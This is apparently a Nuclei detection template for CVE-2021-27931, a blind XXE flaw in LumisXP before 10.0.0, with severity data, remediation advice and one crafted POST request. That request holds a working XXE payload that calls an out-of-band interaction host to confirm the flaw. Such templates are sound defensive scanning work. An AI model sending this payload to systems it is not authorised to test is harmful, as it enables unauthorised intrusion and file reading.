49 lines
1.7 KiB
YAML
49 lines
1.7 KiB
YAML
id: CVE-2021-27931
|
|
|
|
info:
|
|
name: LumisXP <10.0.0 - Blind XML External Entity Attack
|
|
author: alph4byt3
|
|
severity: critical
|
|
description: LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XML external entity (XXE) attacks via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.
|
|
remediation: |
|
|
Upgrade LumisXP to version 10.0.0 or above to mitigate the vulnerability.
|
|
reference:
|
|
- https://github.com/sl4cky/LumisXP-XXE---POC/blob/main/poc.txt
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-27931
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
|
|
cvss-score: 9.1
|
|
cve-id: CVE-2021-27931
|
|
cwe-id: CWE-611
|
|
epss-score: 0.55442
|
|
epss-percentile: 0.97277
|
|
cpe: cpe:2.3:a:lumis:lumis_experience_platform:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: lumis
|
|
product: lumis_experience_platform
|
|
tags: cve,cve2021,lumis,xxe,oast,blind
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
<?xml version="1.0" ?>
|
|
<!DOCTYPE r [
|
|
<!ELEMENT r ANY >
|
|
<!ENTITY xxe SYSTEM "http://{{interactsh-url}}">
|
|
]>
|
|
<method name="addPage">
|
|
<id>&xxe;</id>
|
|
</method>
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
|
|
# digest: 4a0a00473045022100f03bfc0994d4794614d3ea1d424f7429f3f81de4d4fa06683ea3b1363f6e474902200f0f9ba8c62df63a8147a1d0303e9d7ac13947a5f90dbbbad794114b8b8c754d:922c64590222798bb761d5b6d8e72950
|